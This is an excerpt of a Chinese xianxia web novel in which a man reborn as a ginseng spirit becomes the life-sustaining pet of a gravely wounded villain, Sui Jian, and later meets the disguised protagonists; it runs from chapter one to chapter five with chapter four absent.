《成了病弱反派的吊命人参后》 1、第一章 三月莺飞草长,正是繁花茂盛的时节,不知名的紫色小花占满整个山谷,微微徐风拂过,摇曳一整山谷的花浪,暗香浮动。 天空阴蒙蒙的,丝丝缕缕的银丝将整个世界包裹在其中。 开得茂盛的花海之中,被什么压塌了一角,破坏了这份美感。 浑身浴血的人躺在花海之中,绵绵细雨一点点的冲刷着他身上的血迹,但他身上的血太多了,像是怎么也冲不干净。 血水滴答滴答的滴落,将周围的人泥土都染成了黑褐色,而饮饱了鲜血的花也被染成了艳丽的红,开得妖艳。 浓重的血腥引来了食腐的秃鹫,在上方的空中盘旋,就等着血人断气后大快朵颐。 秃鹫等了许久都没等到人断气,飞累了只能落下来休息。它刚站在不远处的大石上收了翅膀,那进气多出气少的人却突然睁开了双眼,漆黑的瞳孔里带着几丝杀意和狠厉,宛若地狱里爬出来的修罗恶鬼。 秃鹫已经生了灵智,哪还不知道自己上当受骗了,只是此时想要振翅逃离已经来不及了。 秃鹫刚起飞还没扑棱两下,黑色的剑气将它的心脏扎了对穿,重重的坠落在地面上。它还没断气,求生的本能让它挣扎着起飞,但都是徒劳无功。 嘶哑尖锐的鸣叫渐渐弱了下去,最后没了声息。 隋简拼着最后一丝力气解决了秃鹫,此时已然是强弩之末。 他艰难的喘息着,四肢百骸传来密密麻麻的疼痛,勉强维持着意识的清醒。 他盯着阴沉沉的天空,扯着嘴角无声笑了笑。 机关算尽,竟还是逃不过身死的下场…… 到底这次还留着全尸,也算体面。 他的瞳孔已经开始涣散,原以为临死前会回忆起往昔,结果却发现好像什么都想起了,又好像什么都没想起。 他安安静静的等死,却突然感受到身下的泥土里传来细微的钻动感。 似乎有什么要破土而出。 他想大约是压着了哪棵小花小草了,若是还有力气,他倒是不介意为对方挪挪位,只可惜他已经动不了了。 这个想法只是一闪而逝,但隋简却怔愣了一下,心想原来自己也会有心善的一刻,大约这就是所谓的人之将死其言也善吧。 或许是发现无论如何努力都钻不出来,那小东西停了下来,继续蛰伏在土里,等待下一次破土的时机。 隋简无声的说了句抱歉,闭上了双眼。 雨水越下越大,随着浅薄的雾气升起,山谷被包裹在一片素白之中。 星星点点的绿光在雾气之中游荡,像莹莹之火,忽明忽灭。 也不知是不是受到了什么吸引,本来漫无目的的绿光突然目的一致的飘向同一个方向。 它们凝聚在隋简的上方,越聚越多,白茫茫的浓雾都被映出一大片莹绿。 当一枚小小的芽包终于找到了空隙,从隋简的臂膀旁破土而出时,绿光像是找到归宿般欢呼雀跃,与小芽包亲昵的贴贴,随后一头扎进了土里,成为被芽包吸收的养分。 同时也有小部分不可避免的融进了生死不明的隋简身体里,修复着他破败不堪的经脉。 . 连下了几天的雨后,天空终于放了晴。 阳光破开浓雾,一片紫色之中,两片莹润嫩绿的叶片正缓缓舒展叶身,随着微风摇摆。 云深晃了晃头上的叶子,内心充斥着一股老父亲的欣慰感。 这是他穿到这幅人参精壳子里的第六天,也是他刚修炼出叶子的第一天。 他对自己死后又穿成了一棵人参的事实接受态度良好,上辈子无牵无挂的,又没有存款,倒也没什么好惋惜的。 他努力伸展叶子,以保证吸收更多的日精华。 虽然当人参精也没什么不好,但肯定还是当人更舒服。 还有一点美中不足的就是…… 云深垂头看了眼在他旁边蠕动过来蠕动过去的蚯蚓,意图啃他参须的肥虫,还有停留在叶片上缓慢开合翅膀的蝴蝶,缓缓陷入沉思。 这副壳子意外的招虫子喜欢,而云深最怕的就是这些软绵绵的虫子。 他面无表情的将根须从土里拔出来,拽翻了差点就一口啃上来的肥虫,像人一样迈着两根粗壮的根须,吭叽吭叽的给自己挪了个地方。 云深选了个相对干燥,没什么花草的地方重新扎根,完全不知道自己的一举一动,都落在了不远处从打坐中被他弄出来的动静惊醒的隋简眼里。 “竟是棵生了灵智的千年人参精,难怪……” 他低声呢喃,忍不住闷咳几声,口腔之中有铁锈腥味蔓延,被他生生忍了回去。 他从濒死之中苏醒过来也不过两个时辰,原以为这次大概又要重走一个轮回,却不曾想竟然活了下来。 他能感应得到,加注他身上无形的镣铐已经被打开了,从此往后他便自由了,只是这随时殒命的躯壳确实让他感到头疼。 他又将目光放回人参精身上。 说起来,自己能活下来全靠这个小东西,换了旁人大概会对救命恩参感激涕零,但可惜的是,他从不是什么好人。 人参,素来是吊命的良药,就这么放任溜走,实在是可惜。 隋简喘了几口粗气缓了缓,强忍着疼痛起身,一步步向着云深走去。 雨后的阳光暖烘烘的,空气之中水汽很重,是极为适合睡觉的天气。云深被晒得昏昏欲睡,被即将睡着的时候,一片阴影将他整个笼罩了起来。 难道又要下雨了? 他嘀咕着这天气怎么说变就变,睁开眼才发现不是要下雨,而是他面前站了个人。 眼前的人生了双多情的桃花眼,貌若好女,如谪仙般光风霁月,一打眼看去就是位温润如玉的翩翩公子子,可惜眼底暗藏的狠戻锋芒却将眉宇间的柔和肃杀殆尽。 像一把暗藏杀机的刀。 这是个明艳俊美到近乎妖异的男人,绕是看惯了自己上辈子的脸,已经对美貌免疫的云深都看直了眼。 男人唇色白得透明,似乎在强忍着病痛,时不时压抑不住的闷声轻咳,原本就不是很好看的脸色更苍白了几分,浑身上下透着一股行将就木的病气。 云深甚至怀疑他下一秒就会倒在自己面前。 他不会来碰瓷自己这弱小可怜又无助的人参精吧? 也不能怪云深这样恶意揣测,实在是被前世的社会新闻荼毒太深。 他甚至已经开始考虑要不要离男人远点,但随便乱动,岂不是明晃晃的告诉对方自己不对劲? 云深深思熟虑以后决定按兵不动,原以为男人只是恰好走过很快就离开,但当男人目光灼灼的盯着自己时,他心里涌起一股不妙的预感。 果然,他听到男人说:“成了精的人参,想必比寻常之物更为大补。” 他浑身一激灵,瞬间从美貌之中清醒过来,来不及拔根逃跑,就眼睁睁看着男人弯腰俯身,骨节分明的手指掐住他的叶茎,明明看起来下一秒就要断气,结果手上的力道却一点都不轻。 云深整支人参被连根拔起,他惊恐不已的抱紧了自己。 吾命休矣! 隋简将人参拔起后提到了眼前,随后没了下一步动作。 虽然早有准备,但对上参体上那紧巴巴挤在一起,只能模糊看出轮廓的五官,他还是不可避免的觉得被辣到了眼睛。 他抿了抿唇,语气颇为嫌弃:“好丑。” 这么丑,看起又笨的东西,吃了它真的不会有副作用吗? 里里外外被嫌弃了,表面坑坑洼洼参须参差不齐的人参精:“……” 不带这样人参攻击的! 上辈子被人骂过傻子智障但就是没被抨击过外貌的云深很自闭,但生死关头他压根不敢生气。 眼前这个男人看起来像是随时要断气的模样,可植物天生的警觉却告诉云深,他很可能还拧不过对方一根手指。 他颤颤巍巍的捞起自己保养得最长最漂亮的一根参须,极力讨好:“别吃我!我的参须很有用的,全都给你了。” 隋简道:“参须远不如成了精的人参本体有用。” 云深卡壳了,本来就不是很灵光的脑瓜子转了好几圈才憋出一个能说服人的理由来。 “可是你吃了我就只能用一次,养着我天天拔参须泡茶泡酒,可以持续发展。” 只要是个会想的人都会选择长远发展。 云深觉得自己聪明极了。 “你说得对。” 隋简似乎被说动了,在云深刚要露出惊喜的表情时,他突然话锋一转,“可练成丹药也可以持续发展。” “养着你还得废精力。” 云深:“!!!” 眼看着人参精丑巴巴的五官就要拧做一团哭出来,隋简忽的嗤笑一声,大发善心的不再逗弄它:“算了,就养着吧。” 反正他也不是真的要切片这支人参精。 云深大悲过后又大喜,有点没缓过来,傻愣愣的直了眼。 男人掐着他头上的小绿叶,一粒几乎肉眼看不见的灰尘钻进了叶片里,随着叶片的脉络游走,最后深深扎根在叶茎与参体的交接处。 他脸上的笑意真挚了几分,“记住了,我叫隋简,今后就是你的主人。” 人参精长得不好看,甚至丑得有点别致,但……逗弄起来的反应还挺可爱的。 当个小宠养着也无妨。 2、第二章 葫芦山。 至那场开春雨之后连着许多日都是艳阳天,阳光炙烤着大地,冒着丝丝缕缕的热气,路边不知名的小草被晒得焉巴巴的没有半点精神。 明明才是三月中,居然也有了盛夏的热意。 葫芦山十里外有座小城池,往日里人烟稀少,如今却因聚集了不少修士而难得热闹了起来。 城池很小,不过百十户,城门就是扇锈迹斑斑的铁门,摇摇欲坠的模样,像是被风一吹就倒塌了。 守门的是个练气期的小修士,抱着一杆铁枪,倚着城墙壁打盹。 “小仙君,麻烦行个方便。” 耳边传来的嗓音有些失真,守卫半睁眼看去,是个被黑色披风包裹得严严实实的人,兜帽遮住了头和脸,只隐约能看见刀刻般的下颚线。 他顿了顿,正要把手中的铁枪一横例行询问,就见一颗石头砸进了怀里,他低头一看,居然是颗品相极好的上品灵石! 像葫芦山这种鸟不拉屎的地方,最下等的灵珠才是流通的货币,下品灵石都少见。也就是最近因为剑宗两位长老与魔头隋简在此决战,吸引前来观望的修士才能出手这么阔绰。 可是决战前几天都已经决出胜负了,怎地还有人这么晚才跑来? 他心里犯嘀咕,但还是笑容谄媚的收起铁枪往侧边让出了路:“哎,仙尊您请,您请。” 隋简微微颔首,缓步进了城门,很快就融入了稀稀疏疏的人群之中。 葫芦山平日里冷清,最近聚集了不少的修士,有修士的地方就必定会有市集,隋简进城的目的就是奔着市集去的。 他如今的伤势过重,单单养着一棵人参精远远不够,顶天了只能吊命,想要痊愈就必需要大量的天材地宝灵丹妙药来堆砌。 若是十日前他倒是能随手拿出一堆,可惜不巧的是,他伤及的是神魂,在伤势好转之前,是无法打开紫府以及神魂认主的戒子空间的。 随着魔头身陨,两位长老生死不明的消息传来,看热闹的修士们散了大半,市集已经不如一开始的热火朝天。 摊位东一家西一家的,逛市集的修士三三两两的没几个人,摊主看着人少,叫卖的热情都没多少,甚至还有直接倚着躺椅闭目歇息的。 隋简的出现没引起多大的注意,倒是怀中抱着的陶土盆反而让旁人多看了一眼。 倒也不是土盆有多奇特珍贵,主要是丑得引人注目,表面崎岖不平,像是随手捏了烧制出来的,盆口还能看见几道裂纹豁口。 盆面上绘制着简笔的小花和太阳,是云深为了美观费力画上去的。 隋简穿行过市集,脚步不急不缓,但速度却一点都不慢,像是在避讳着什么。 自从穿越以来,云深还是第一次受这种委屈,整只人参挤在小小的土盆里,日光暴晒,还没水喝! 头顶叶片蜷缩着,一副焉了吧唧随时原地枯死的模样。 云深感觉自己马上就要脱水了!可是他不敢跟隋简开口,又实在是渴得难受,纠结不已的揪着自己参须。 开口讨水喝,可能会被打死…… 不开口,一定会被渴死! 当了人参为什么还要做这种艰难的抉择! 隋简垂眸看了眼怂唧唧缩盆里的人参精,嘴角微扬,随后无事发生的停在了一个贩卖灵丹的小摊贩跟前。 摊主是个不避讳人的豪爽性子,见摆摊没生意,又懒得收摊回家,居然干脆当街练丹,一点都不怕被外界影响可能会丹毁炸炉。 隋简站摊前也没立刻询问,而是耐心的等着。 摊主很年轻,不过十七八的年纪,还是未及冠的少年郎,但一手炼丹的动作却行云流水一气呵成,这也是隋简会在这么多摊贩之中选择他的原因。 隋简停留驻足的时间太长,好奇的云深悄悄从土里探头,恰好看见那少年灵力化作刀刃,将一根婴儿手臂粗的人参大卸八块,而后随手一挥,便连同其他药材一起投进了火苗烧得正旺的丹炉里。 成了精的人参精看得龇牙咧嘴,觉得浑身上下哪哪儿都在疼,颤颤巍巍的捧起一捧土,将自己团吧团吧埋了起来。 咦,人类真是太凶残了,对参一点都不友好,呜呜呜…… 隋简被他逗得忍不住笑出声,结果牵扯到肺腑的内伤,止不住的闷咳出声。 沉迷炼丹的少年终于发现有顾客上门,恰好炉中丹药已经成型,索性就收了灵力停了火,将圆滚滚的丹药收进瓷瓶中。 他没有像寻常摊主一样向隋简介绍摆着售卖的丹药,而是晃了晃手中的瓷瓶:“道友要买的可是我手中的培元丹?” 他摊子上摆的都是寻常丹药,随便哪个摊子都能买得到,对方大可不必非要等着,除非他要的就是自己这一时兴起炼制的培元丹。 培元丹只是最基础的固本养魂丹,算不上是什么稀奇丹药,他瞧了一眼对方,没能从捂得严严实实的身影上看出啥来。 隋简早就止住了咳,他素来忍痛惯了,随手下了一道隔绝声音和神魂探视的禁止,随后才若无其事的开口道:“你会炼制宝元回天丹吧。” 他并不是询问句,而是十分的笃定,少年脸上闪过一丝差异,“你怎么知道?” 若是说培元丹是基础养魂丹药,那么宝元回天丹则是其中佼佼,是地阶丹药之中的最上品,也恰好是少年能炼制出的最难的丹方。 他不禁多打量了隋简两眼,心底暗惊。 这黑衣人什么来头,怎么这么了解他的实力? “你身上的药材够炼制多少宝元回天丹?我都要了。” “这是订金和尾款。” 隋简并未回答少年的问题,而是从腰带上解下两个一大一小的储物袋,当面打开,让少年看清了里头满满当当的上品灵石,少说都有上百之数。 少年没少见上品灵石,光卖丹药他就能赚不少灵石,可同样的,炼丹师也是非常费钱的。 对方给得实在是太多了,入不敷出的少年当即见钱眼开,笑容满面的双手接过小的那个储物袋:“那我到时候去哪里找您呢仙长?” 管他什么来头,给钱的就是大爷。 隋简道:“我只会在城中停留两日,你练完了丹,随时可到城中最大的客栈寻我。” “哎哎好。” 少年将储物袋收进自己储物戒里,眉开眼笑的收了摊,临走时还把刚新鲜出炉的那瓶培元丹当赠礼送给了隋简。 全程当背景的云深瞧着少年远去的背影,忍不住发出疑问:“你先给了钱,万一他卷款跑路了怎么办?” “那就得看这灵石有没有命去花了。” 隋简语气平和,却生生叫云深察觉到了杀气来。 他抖了抖,默默缩回土里,坚定了绝不开口讨水的决心。 做完交易隋简就离开了市集,他并不急着去客栈,而是继续在城中闲逛。 他几乎将整个小城都逛了一遍,走走停停,看向四周的目光散漫,看起来像是没有任何目的性,偶尔只会在某一处停顿半晌,又继续往前行进。 可怜云深也被迫跟着逛了许久,越临近正午阳光越热烈,本来就快要干巴的人参精不得已又露出小半截身体,企图通过捕抓空气之中的水分润润嘴,结果当然是白费力气。 隋简拖着一身病体,靠着刚得的培元丹才敢走那么久,此时也差不多是强弩之末,便向着原定的目标而去。 在路过一个茶摊时,他垂眸看了眼气若游丝的人参精刻意放缓了脚步,似乎在等着什么。 云深扒着花盆的豁口,眼巴巴的看着茶摊小二给几位高谈阔论的修士倒茶,隔着两米远仿佛都能闻到茶水的香气。 他忍不住舔了舔嘴巴,头上蜷缩的叶子拧成麻花,最终植物对水的本能渴望驱使着他忘记了对隋简的恐惧。 借着土盆和披风的遮掩,他悄悄探出一根细细的参须,戳了戳隋简小臂,可怜巴巴:“口渴了,我要喝水。” 隋简低头看了一眼,没说话。 大约是没等到他回应,人参精又怂了,参须慢吞吞的缩回,看着茶棚望眼欲穿,浑身上下大写着委屈两个字。 隋简破天荒的生出一股负罪感,捏了捏人参精的叶片,转身走进了茶棚。 “仙长您请坐!小店招牌落雪松香,滋味绵香清润,可是不可多得的好茶,乃皇家御前专供茶。您要是看得上的话,小的马上给您上上来。” 小二早早侯一侧,隋简刚落座,便热情的推销茶水,说得天花乱坠,可实际上不过都是些普通的凡人茶叶。 凡茶多杂质,若是换作以前喝来消遣倒也无事,左右不过是废些灵力排除,只是如今却可能会要了他这苟延残喘的命。 隋简扬手打断小二的话语,“白茶即可。” 所谓白茶,即为凉白开。 “哎,好嘞,客官您等着啊。” 小二的热情肉眼可见的消失,转身时还翻了个白眼,小声嘀咕:“还当是什么阔绰仙长,没想到连壶茶都喝不起。” 他声音不算小,只要不是聋子都听得清楚,云深悄悄看了一眼隋简,后者淡定的磕了一颗培元丹,恍若未觉。 好歹也要了一颗灵珠,小二上了一大壶凉白开,哐叽往桌面一放,搁下一个茶杯转身就走。 隋简提起壶就要淋往云深身上,云深赶忙探出一根参须,虚虚压住他手背:“水淋太多会伤根。” 他意有所指,隋简眉头微挑:“你还想用茶杯?” 云深头顶叶片抖了抖,“主要是我自己喝,喝多少有数。” 隋简啧了一声:“养你果然麻烦,倒还使唤起我来了。” 嘴上嫌弃麻烦,可手上的茶壶却往茶杯上移去。 茶水满了八分,隋简指尖一推,便将茶杯移到花盆旁边挨着。 “谢谢!” 云深礼貌道谢,几根细细的参须迫不及待的扎入杯中,久逢甘露的人参精快乐得叶片舒展,沙沙抖动。 “谁能想到啊,当年一人一刀平了整个随州修仙门派的大魔头隋简竟死在昔日师弟的手里。” “听说是被那赵随云一剑穿了心。” “他杀了那么多人,如此轻巧就死了,依我来看就该千刀万剐方才解恨。” 邻座人说到畅快处忍不住拍桌,只恨斩杀魔头名扬天下的人不是自己。 喝饱了水的人参精支棱起了叶杆子。 大魔头隋简?这名字有点耳熟啊。 把他连根拔起的人可不就叫隋简? 他猝死之前看的一本修仙小说里的大反派好像也叫隋简。 书里大反派怎么死的来着? 好像就是最后被主角攻赵随云一剑穿心死了。 过分巧合,后知后觉的人参精陷入了沉思。 3、第三章 突然之间发现自己不但穿越了,还被迫成了心狠手辣杀人不眨眼的大反派的吊命良药。 云深对自己的智商又一次绝望了,明明一开始就知道了隋简的名字,居然都没能将他和小说里的大反派联系在一起。 可仔细想想好像也不能怪他笨,按照现在的时间线来算,大反派明明已经被主角攻受一起挫骨扬灰了,可如今却全须全尾的坐在这里,老神在在的听着别人讨论自己应有的死法,一点反应都没有,好似不是在说他。 所以……现在他还有机会从大反派这条贼船上下去吗? 云深使劲的思考着从大反派手里逃跑的可能性,发现几乎为零,顿时像霜打的茄子,焉了。 人参精藏不住心事,头顶的叶片都拧成麻花了,隋简想不发现都难。但他只是撇了一眼,便假装什么都没看出来。 他微垂眼睑,指尖轻轻敲击着桌面,“喝饱了吗?” 云深原本就怕他,现在猜到他的身份以后更加畏惧了,嗖一下缩回所有参须,颤颤巍巍的点头:“饱、饱了。” 随后将自己整根埋土里,要不是叶片不能埋,恨不得连叶片也收了。 隋简眼底闪过一丝不虞,但到底没说什么,留下一颗灵珠抱起花盆就走。 那几位修士依旧旁若无人的大放厥词,如同夏日蝉鸣般聒噪恼人。 隋简左手握拳低着嘴唇,闷咳了几声,而后才踏出茶棚。 尚在发表豪言壮语的修士发现自己居然不知何时被人下了禁言咒,无论他们如何努力就是解不了,这才发觉可能无形之中得罪了什么人。 无人知道他们是怎么中了禁言咒的,对方只是让他们闭嘴,若是想要他们的命…… 几人顿时冷汗连连,面如菜色,匆匆付了茶钱逃也似的走了。 . 城里修士散了大半,客栈入住的人自然也不多,这也是隋简不疾不徐的原因。 打发了客栈小二后,隋简立马关门下了道禁制。 陶土盆被搁到了窗台上,午后阳光穿过窗纸,投下一格一格模模糊糊的光影。 云深虽然埋在土里,可却一直仔仔细细的听着关注外头的动静。 也不知道大反派在外头做什么,进房间以后便没了声息。 好奇心驱使他探出脑袋,又怕被隋简发现偷看,便压低了叶片,遮遮掩掩的悄悄趴盆口。 房内空间不大,人参精浅棕色的小眼珠滴溜溜转一圈就看完了,他要找的大反派已经脱了鞋,在床榻上盘膝而坐五心朝天,肉眼可见的气流在他身侧盘旋流动,似乎是在修炼。 “偷看什么?” “要看就光明正大的看。” 干坏事的人参精被当场抓包,尴尬又讨好的笑了笑,“没、没看什么。” 掌状的叶片低垂,人参精藏了起来,假装自己只是一棵普普通通的植物。 隋简专心打坐调息没再理他,云深不敢冒头,埋土里又实在是无聊,只好扒拉着参须一根一根的数过去。 来来回回数了好几遍,云深实在是数不下去了,再次探头探脑没被抓包以后就大起了胆子。 此时已经入了夜,月华倾泻,似水般温柔的亲吻他的叶片。 人参精虽然已经成了精,但还是要像普通植物那样需要阳光和月光进行光合作用。云深一片片抖开叶片,尽大可能的让每一片叶子都沐浴在月光之下。 隋简消耗完了剩余的培元丹,总算修复了一小截神魂上的豁口。 他一睁眼,目光就精准的落在了窗台上浸在银白月华之中,又长出新芽包的人参精身上。 隋简收回目光,抬手轻扫衣摆。 这人参精修行速度似乎有点过于快了…… 云深吸收够了月华,像吸了猫薄荷的奶猫,浑身舒畅得软绵绵的,精神也轻飘飘得仿佛下一秒就升天。 然而快乐还没体会几秒,大反派低沉微哑的嗓音飘入耳膜。 “丑东西,你说养着你有用,可几日过去了,你一点价值都没体现出来,还得我伺候养着你。” 丑……丑东西!? 被打击到的人参精差点眼泪就飙出来,但在大反派威胁的目光下生生憋了回去。 他委屈的撇嘴,只敢心里嘀嘀咕咕的骂。 大反派!大魔头!还骂人!活该被主角攻受捅个对穿。 “我得重新评估一下留着你的用处了。” 大反派凉嗖嗖的补了一句,云深顿时什么骂人的心思都没了,一骨碌连滚带爬的把自己拔出花盆,嘴里还保证的道:“我真的很有用的,你等等!我这就来!” 人参精连根带枝叶都才二三十厘米长,窗台离地面一米五那么高,本来准备直接跳下去的云深伸头一看,颤颤巍巍缩回了已经探出一小节的参须。 那么高,跳下去会不会摔扁? “我还等着你表现呢。” 隋简已经整理好了衣服坐在了左侧的太师椅上,指节有一搭没一搭的敲击着桌面,发出沉闷的声响。 哒哒哒的,落在云深耳膜上就像是催命音符一般。 他咽了咽口水,实在是不敢直接跳,最后只好抽着参须,牢牢嵌入窗台边的朱红色房柱的缝隙,一点一点的挪下去。 堂中茶桌放着必备的茶具,镶嵌着火石的保温瓶里盛满了烧热的水。 人参精落了地就哒哒哒的迈着小短腿跑过去,但茶桌对他来说也是很高的,压根就够不着。 他费劲巴拉了半天都没能爬上去,参须都差点折了一根。 隋简看不过眼,嗤笑了一声,“笨,旁边的椅子不会利用?” 完全没想到自己可以先爬上椅子再爬上桌面的云深:“……” 他就笨怎么了!可恶! 人参精吭叽吭叽的好一会儿,终于爬了上去,他宝贝的摸了摸身上的参须,挑挑选选半天哪根都舍不得拔。 这些参须可都是他辛辛苦苦修炼才养粗壮了点的,就这么拔了可心疼死了。 就在他终于选好了一根狠心拔下来,准备往咕噜咕噜沸腾的热水里丢参须的时候,隋简突然开口道:“你敢直接丢进去试试。” 云深投放参须的动作僵在水壶上,三分疑惑七分害怕的扭头看向隋简,“有、有什么问题吗?” 隋简看了一眼窗台上的陶土盆:“你刚刚才从土里拔出来。” 云深后知后觉,涨红了一张丑巴巴的脸。 参须洗都没洗就直接拿来煮茶,好像是原汁原味得过分了,也不怪大反派要嫌弃。 他立马讨好的笑了笑:“我这就给您洗干净!” 镶嵌着火石的水壶内里是高温,外壁却不受任何影响,人参精废了九牛二虎之力才倒了一杯热水,然后将参须折成一节节放到水杯里刷洗,被水烫得龇牙咧嘴的。 等云深磨磨唧唧的洗好了参须,已经过去了一刻钟,大反派已经等得不耐烦,指尖敲击的节奏明显都快了许多。 云深不敢有任何耽误,生怕等会儿煮进开水里的会变成自己。 他背对着隋简,将参须一股脑全丢进去。 一节节参须随着开水沸腾,将清澈的水逐渐染上金黄的颜色,一股人参特有的清香在不大的空间里弥漫,越来越浓郁。 他内心颇为恶毒的想:补死你个王八蛋,叫你骂我,哼! “还没好?” 隋简不知道什么时候站在了身后,正居高临下的俯视着他。 心里有鬼的云深吓了一大跳,差点跳起来摔下桌子,幸好他稳住了,只是难免浑身颤抖了下。 他有点不确定的说:“应该好了吧?” 前后两辈子他也是第一次煮人参茶,问他这个问题不是为难在人参精嘛。 大约是知道不能对他的智商抱有太大希望,隋简随口一问之后就没再为难他,参茶煮好后也没再使唤他洗杯倒茶。 煮好的参茶参须完全融于水,沏入杯中色泽金黄,药香四溢,浅啜一口,口舌生津。 隋简微微挑眉,原以为会有药的苦涩味,倒没想到居然是甘甜的。 “怎么样,味道还行吗?” 云深不能不关心,这可关系到以后的生活质量。 能不能苟命可就全靠这些参须了。 人参精眼巴巴的期待着,浑身上下都写着快夸我三个大字,隋简抿抿唇,到底没再打击对方,而是给出了“尚可”的评价。 人参精开心得叶子直抖,沙沙作响。 一杯人参茶下肚,隋简惨白的脸色都红润了两分,殷勤备至的云深立马上道的给他再续了一杯。 隋简撇他一眼,他讨好的搓了搓参须:“您快喝。” 喝了早点养好身体把他放归大自然。 云深眼前仿佛已经看到了重回大地母亲的美好画面,结果大反派却并不急着入口,而是指腹轻轻摩挲着杯口,缓缓道:“这么希望我喝?” “不会是憋着想使什么坏吧?” 云深惊恐摇头:“怎么可能!” 没人比他更想大反派好起来,他怎么可能使坏?况且…… “我想使坏也得有那本事啊。” 隋简失笑:“你说服我了。” 感觉自己全方位被侮辱了的人参精:“……” 隋简打消疑虑,终于勉为其难的又喝完了一杯,云深还想给他将剩余的参茶全倒进杯里,结果就见他突然捂着胸口吐出一口黑血,原本红润了丁点的脸色瞬间变成铁青色。 “你竟敢……骗我……” 隋简气若游丝,眼神却仿佛要将他活生生剐了一般。 突如其来的状况让云深彻底蒙了,他还没来得及为自己狡辩,就见大反派又吐了口淤血彻底晕了过去。 “喂……你没事吧?” 云深害怕不已,颤颤巍巍的探了探隋简的气息,还没断气,心头吊起的大石立马落了地。 幸好没死,他没杀人。 云深松了一口气,随后又纠结了起来,他不会救人啊,这可怎么办? 云深深知自己不靠谱,寻思着还是赶紧跑出去找店小二找医师来救人来得实在。当他准备爬下桌子时,眼角余光却撇到窗外漆黑无光的夜空。 他停下了脚步,脑海里闪过一句——夜黑,风高,杀人夜。 人参精一双豆豆眼像两盏一万瓦的灯泡一样亮了起来。 这么好的机会摆在眼前,不做点什么都天理难容啊! 5、第五章 “谁在外面?” 玄衣男子刚收起的剑再次闪现,连床榻上病气缠绵的男子都忍着伤瞬间坐起,浑身肌肉绷紧。 能同时躲过他们两人的神识,悄无声息的出现在门口,来人的修为等级恐怕只会在他们之上。 屋内气氛瞬间剑拔弩张,无形的硝烟弥漫,所有人的精神都绷紧到了极致,唯独云深却是最为兴高采烈。 这道声音太过熟悉了,他猛的抬起头来,目光灼灼的投向门外,来人仅仅只是伸进一条腿,还没露出脸呢他就认了出来。 “啊啊啊!救我!” 云深激动得控制不住,两眼泪汪汪的就朝来人扑去,在看清来人的脸时他愣了愣。来人五官清俊气质温润如玉,是个让人眼前一亮的美男子,但比起隋简那张极俊美到几近妖异的脸却是天差地远。 云深也只是愣了一下就接着扑了过去,虽然不是同一张脸,但眼前的人分明就是大反派。那些武侠小说里都有易容术呢,修仙世界换张脸那不是正常的事情吗? 反正他不可能认错人。 云深扯着隋简衣角就开始告状,声泪俱下的,仿佛受了天大的委屈。 他指着玄衣男子,后者凉凉一眼撇来,他吓得瑟瑟缩缩的后退了小半步,然后反应过来自己是有人罩的,立马又叉起腰特别参仗人势的瞪男子一眼:“就是他摔我进泥坑,关我小黑屋,刚刚还要把我切片!” “要不是你来得及时,我都成人参片了!” “没了我你可怎么办呐。” 告完了状,云深没忘了向大反派强调自己的重要性,就怕隋简不帮他。 隋简瞧着明明怕得要死但还强撑着挺直腰杆无畏强权的人参精只觉得好笑,他弯腰揪着人参精的叶杆子将他整个提起:“以后还敢乱跑吗?” 腾空的失重感还没体验到两秒,云深就被搁进了那个丑不拉几的陶土盆里,沾了泥土仿佛找回了久违的安全感,他一边扒拉着泥土往自己身上埋,一边摇叶片摇出了残影。 “不跑了不跑了,以后你赶我走我都不走了。” 修仙世界里的人都太凶残了,为了小命着想,他还是好好抱稳大反派的大腿吧。 此时的云深还不知道面前这两位男子正是主角攻受,等到后来意识到自己错过了脱离大反派魔爪的大好机会时悔得肠子都青了。 不过这也不能怪他没认出来,而是这两人同样易了容,再加上玄衣男子一言不合就拔剑砍参的凶残行为,实在是让他无法联想到原文中那个刚正不阿高冷理智的主角攻赵随云头上去。而那病榻缠绵虚弱得像菟丝子的男子,更是跟原文里智多近妖的笑面虎主角受浮光没有半分相似之处。 隋简嘴角微抿,不置可否。他侧目看向屋内两人,笑意不及眼底:“我家这小东西给两位添麻烦了,这是赔礼,还望收下。” 话音落下,破旧的木桌上凭空多出一个质地莹润的青玉瓷瓶,正是隋简刚从丹修少年手中取回来的宝元回天丹。 成了精的人参精金贵,不出点血怕是不好带走。 原以为是无主之物,没成想竟是有主的,闹了这么一出乌龙赵随云确实有些挂不住面子,但想到浮光身上的伤,他沉吟不语片刻,还是试探的问道:“这人参精于我们有大用处,不知道友愿不愿意割爱,将这人参精让于我们?只要道友同意,我赵随云能力范围之内,条件道友随便开。” 赵随云身为剑宗的刑司大长老,在这修仙界内不说人尽皆知,但也绝对是数一数二的存在。他亲口许下的承诺可谓是极有分量的,但凡是聪明人都不会想要拒绝。 刚将自己埋好,扒拉着花盆壁沿支着耳朵偷听的云深一下就支棱直了叶片,气得扑簌簌的直抖。 这人怎么这样!是不把他切片了就不罢休了是吧! 云深又生气又害怕,他心想大反派搅弄风云这么久,不至于就会对这男人开的条件心动了,而且自己对他还有大用处,应当不会轻易就把他买了。 可是万一呢?大反派阴晴不定的,万一一个不高兴真把他卖了怎么办? 他整支参都不好了,探出一根参须,不敢直接握大反派的手指,只能可怜巴巴的拽着他衣袖,企图唤醒大反派为数不多的良知。 大反派哪能看不透人参精那点小心思?他勾唇笑了笑,手腕一转便将人参精的参须撸到手中,安抚性的掐了掐后又放开,意思是让它一边玩去别掺和,可脑子不太灵光的云深却误解了这动作的含义,以为他真要卖了自己。 云深顿时如丧考批的耸拉着叶片,丑巴巴的五官皱起,在他哇一声哭出来之前,隋简终于开了金口:“抱歉,这小宠养着颇有些乐趣,在下没有将他送出的想法。” 青年态度很坚决,没有半点犹豫。赵随云目露可惜,虽说修仙界杀人夺宝的事情屡见不鲜,他完全可以也有能力直接杀人越货,但他素来不屑于做这种事情,眼看是没有回转余地,便也就作罢了。 隋简了解赵随云的性格,只一眼就知道他已经放弃了要跟自己抢云深。他内心松了一口气,如果赵随云非要武力抢夺,对他目前的状况来说无疑是件麻烦的事情。 他面上依旧维持着云淡风轻的淡然,朝二人微微颔首:“若无它事,在下便不打扰二位了。” 这回赵随云没再拦着,隋简端着花盆欲要转身离去,这时床榻上的浮光突然轻咳了几声,而后气息虚浮的道:“今日这误会说来也是我们不对,我看道友与我们也是有缘的,不若先坐下吃几口茶,也算让我们为先前的莽撞赔个礼道个歉。” “道友意下如何?” 浮光伤势很重,但那双清冷透彻的双眼却好似能看透所有的伪装,挖掘出那不为人知的秘密。 他似是在询问着隋简的意愿,但语气却没有给隋简拒绝的余地。 赵随云素来是浮光说什么他就做什么,既然浮光有意把人留下,纵然不解他的用意但也是毫不犹豫就站在浮光这边。 